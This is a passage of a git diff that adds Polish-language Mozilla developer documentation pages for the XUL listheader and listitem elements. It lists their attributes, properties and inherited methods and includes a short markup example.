+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listcell" title="listcell">listcell</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listcol" title="listcol">listcol</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listcols" title="listcols">listcols</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listheader" title="listheader">listheader</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/listheader/index.html b/files/pl/mozilla/tech/xul/listheader/index.html
new file mode 100644
index 0000000000..303596770a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/listheader/index.html
@@ -0,0 +1,128 @@
+---
+title: listheader
+slug: Mozilla/Tech/XUL/listheader
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/listheader
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Nagłówek pojedynczej kolumny w <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-disabled">disabled</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<div class="float-right"><img alt="Image:XUL_ref_listheader.png"></div>
+<pre>&lt;listbox&gt;
+ &lt;listhead&gt;
+ &lt;listheader label="Name"/&gt;
+ &lt;listheader label="Occupation"/&gt;
+ &lt;/listhead&gt;
+ &lt;listitem&gt;
+ &lt;listcell label="George"/&gt;
+ &lt;listcell label="House Painter"/&gt;
+ &lt;/listitem&gt;
+ &lt;listitem&gt;
+ &lt;listcell label="Mary Ellen"/&gt;
+ &lt;listcell label="Candle Maker"/&gt;
+ &lt;/listitem&gt;
+ &lt;listitem&gt;
+ &lt;listcell label="Roger"/&gt;
+ &lt;listcell label="Swashbuckler"/&gt;
+ &lt;/listitem&gt;
+&lt;/listbox&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listcell" title="listcell">listcell</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listcol" title="listcol">listcol</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listcols" title="listcols">listcols</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listhead" title="listhead">listhead</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/listitem/index.html b/files/pl/mozilla/tech/xul/listitem/index.html
new file mode 100644
index 0000000000..c274a10552
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/listitem/index.html
@@ -0,0 +1,366 @@
+---
+title: listitem
+slug: Mozilla/Tech/XUL/listitem
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/listitem
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Pojedynczy wiersz <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>. Tekst w listitem jest określony w jednym z elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/listcell" title="listcell">listcell</a></code> lub poprzez umieszczenie atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code> bezpośrednio w elemencie listitem. Możesz także umieścić inne elementy wewnątrz listitem, gdy chcesz stworzyć bardziej złożoną treść.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Kontrolki_list">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-accesskey">accesskey</a>, <a href="#a-checked">checked</a>, <a href="#a-command">command</a>, <a href="#a-crop">crop</a>, <a href="#a-current">current</a>, <a href="#a-disabled">disabled</a>, <a href="#a-image">image</a>, <a href="#a-label">label</a>, <a href="#a-preference">preference</a>, <a href="#a-selected">selected</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-listitem.type">type</a>, <a href="#a-value">value</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessKey">accessKey</a>, <a href="#p-accessible">accessible</a>, <a href="#p-checked">checked</a>, <a href="#p-control">control</a>, <a href="#p-crop">crop</a>, <a href="#p-current">current</a>, <a href="#p-disabled">disabled</a>, <a href="#p-image">image</a>, <a href="#p-label">label</a>, <a href="#p-selected">selected</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-value">value</a>
+</dd></dl>
+<dl><dt> Klasy stylów
+</dt><dd> <a href="#s-listitem-iconic">listitem-iconic</a> </dd></dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<p>(potrzeba przykładu)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-accesskey">
+
+<dl><dt> <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code></dt>
+<dd> Typ: <i>znak</i>
